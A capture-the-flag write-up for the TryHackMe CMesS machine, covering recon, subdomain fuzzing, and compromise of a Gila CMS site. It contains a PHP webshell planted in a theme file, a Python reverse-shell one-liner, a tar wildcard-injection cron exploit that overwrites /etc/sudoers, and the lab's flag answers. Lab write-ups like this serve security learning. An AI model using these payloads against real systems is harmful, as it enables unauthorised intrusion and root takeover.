TryHackMe CMesS
First steps
We are asked to add the MACHINE_IP cmess.thm to our /etc/hosts file:
Please add
MACHINE_IP cmess.thm
to/etc/hosts
Please also note that this box does not require brute forcing!
Once this is added, it’s time to run the Nmap for recon:
sudo nmap -sC -sV cmess.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-01 07:48 -03
Nmap scan report for cmess.thm (10.10.215.52)
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds
We discovered two services, a SSH on port 22 and an Apache server on port 80 with Gila CMS.
Upon visiting the cmess.thm address we are greeted with the page:
First flag
Compromise this machine and obtain
user.txt
.
Hint:
Have you tried fuzzing for subdomains?
This hint is a great starting point. From here, we are going to do some fuzzing after subdirectories, and then for subdomains.
We will use this wordlist for testing with the wfuzz tool.
Fuzzing of subdirectories
With the parameters:
- -w - wordlist
- -u - as we are now after subdirectories, the word “FUZZ” that tells the software where to insert the text, it will be at the end of the address
- -c - output with colors
- –sc 200 - option to only show the results of HTTP 200 status codes
wfuzz -w wordlist.txt -u http://cmess.thm/FUZZ -c --sc 200
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer
********************************************************
Target: http://cmess.thm/FUZZ
Total requests: 959
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000006: 200 102 L 308 W 4078 Ch "1"
000000001: 200 107 L 290 W 3851 Ch "0"
000000003: 200 102 L 308 W 4078 Ch "01"
000000049: 200 92 L 266 W 3353 Ch "about"
000000059: 200 41 L 99 W 1580 Ch "admin"
000000083: 200 0 L 0 W 0 Ch "api"
000000133: 200 107 L 290 W 3851 Ch "blog"
000000434: 200 107 L 290 W 3851 Ch "index"
000000498: 200 41 L 99 W 1580 Ch "login"
000000722: 200 107 L 290 W 3851 Ch "search
000000818: 200 109 L 292 W 3874 Ch "tag"
Total time: 21.13536
Processed Requests: 959
Filtered Requests: 948
Requests/sec: 45.37419
With this result we can highlight login and admin.
When visiting cmess.thm/login:
About the admin page, since we are not logged in, the website returns us to the login page.
Fuzzing of subdomains:
Regarding parameters:
- -u - as we are now after subdomains, the word “FUZZ” that tells the software where to insert the text will be gone as we will define this in another parameter
- -H “Host: FUZZ.cmess.thm “ - specifying that the fuzzing will be at the beginning of the address, looking for subdomains
- –hw 290 - clean up the output, hiding false positives, because depending on how the website is set up, the page will return a 200 code, but will only show a “Not Found” error
- –hc 400 - also to clean up the output, hiding “Bad Request” errors
wfuzz -w wordlist.txt -H "Host: FUZZ.cmess.thm" -u http://cmess.thm/ -c --hw 290 --hc 400
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer
********************************************************
Target: http://cmess.thm/
Total requests: 959
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000270: 200 30 L 104 W 934 Ch "dev"
Total time: 21.96167
Processed Requests: 959
Filtered Requests: 958
Requests/sec: 43.66697
The output tells us that there is a dev.cmess.thm, which we will add to our /etc/hosts:
10.10.215.52 cmess.thm dev.cmess.thm
Visiting the address, we see a log with exposed credentials:
Logging in:
We now have access to the admin page:
With this we get the Gila CMS version: 1.10.9 We got access to an admin panel, with even a File Manager with file addition, removal and update:
We will modify the /themes/gila-blog/header.php file in order to get a reverse shell through a webshell:
[...]
<?php
system($_GET["cmd"]); # Return web shell that accepts input
view::stylesheet('lib/gila.min.css');
view::stylesheet('lib/font-awesome/css/font-awesome.min.css');
view::head()?>
<style>
[...]
Time to test the webshell, for that we go to cmess.thm and at the end of the address we will add “?cmd=ls”, to run the ls command on that webshell, which will return us a directory listing, right at the beginning of the page:
I decided to use Python to get this reverse shell, so for that let’s find out what version we have installed on our target running “?cmd=Python3 –version”:
Now let’s open a listener on our machine that will wait for the connection from the target machine.
nc -lnvvvp 6666
Listening on any address 6666
The commands we are going to insert into our webshell will now be a bit more robust. Example of a Python reverse shell with one line of code:
*Recommended reading: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
After inserting this input into the web page, on our machine we already have access to the reverse shell:
Connection from 10.10.215.52:49564
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/var/www/html
$ whoami
www-data
$
I uploaded https://github.com/carlospolop/PEASS-ng to a HTTP server, downloaded the linpeas.sh and granted execution permission with “chmod +x linpeas.sh”.
Upon executing the file, we get an output with numerous pieces of information, however, let’s emphasize two findings:
- /tmp/andre_backup.tar.gz
- /opt/.password.bak
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 161 Jun 1 06:38 /tmp/andre_backup.tar.gz
[...]
-rwxrwxrwx 1 root root 36 Feb 6 2020 /opt/.password.bak
[...]
Password for user andre:
$ cat /opt/.password.bak
andre backup password
UQfsdCB7aAP6
Connecting via ssh:
ssh andre@cmess.thm
andre@cmess.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu Feb 13 15:02:43 2020 from 10.0.0.20
andre@cmess:~$ ls
backup user.txt
Our first flag is inside the file user.txt:
andre@cmess:~$ cat user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
Second flag
Escalate your privileges and obtain root.txt
Remember the /tmp/andre_backup.tar.gz file? Cron is a utility in the Linux world for automating tasks, in the case of our target machine, looking at /etc/crontab we see that there is a backup of the /home/andre/backup directory being done to that file we found with linpeas.sh earlier. Here we have an example of a Wildcard Injection:
andre@cmess:~/backup$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
Why is this a Wildcard Injection vulnerability?
The last entry of the output of our cat tells us that: Every 2 minutes, via the root user, ALL (indicated by asterisk) the files in the /home/andre/backup folder are compressed into a tar, which is then sent to the /tmp/ directory
We can exploit this and obtain root privilege by inserting some malicious code here that will remove the need for the andre user to provide a password when running the sudo program. This code will be executed by our cron:
andre@cmess:~/backup$ echo 'echo "andre ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > safeprogram.sh
andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh safeprogram.sh"
andre@cmess:~/backup$ echo "" > --checkpoint=1
andre@cmess:~/backup$ ls -l
total 16
-rw-rw-r-- 1 andre andre 1 Jun 1 07:59 --checkpoint=1
-rw-rw-rw-- 1 andre andre 1 Jun 1 07:59 --checkpoint-action=exec=sh safeprogram.sh
-rwxr-x--- 1 andre andre 51 Feb 9 2020 note
-rw-rw-r-- 1 andre andre 53 Jun 1 07:58 safeprogram.sh
After two minutes, this is the return from our sudo -l:
andre@cmess:~/backup$ sudo -l
User andre may run the following commands on cmess:
(root) NOPASSWD: ALL
And from that we get root without even entering the password:
andre@cmess:~/backup$ sudo bash
root@cmess:~/backup#
In the /root folder we find our second flag:
root@cmess:~/backup# cd /root
root@cmess:/root# ls
root.txt
root@cmess:/root# cat root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}
root@cmess:/root#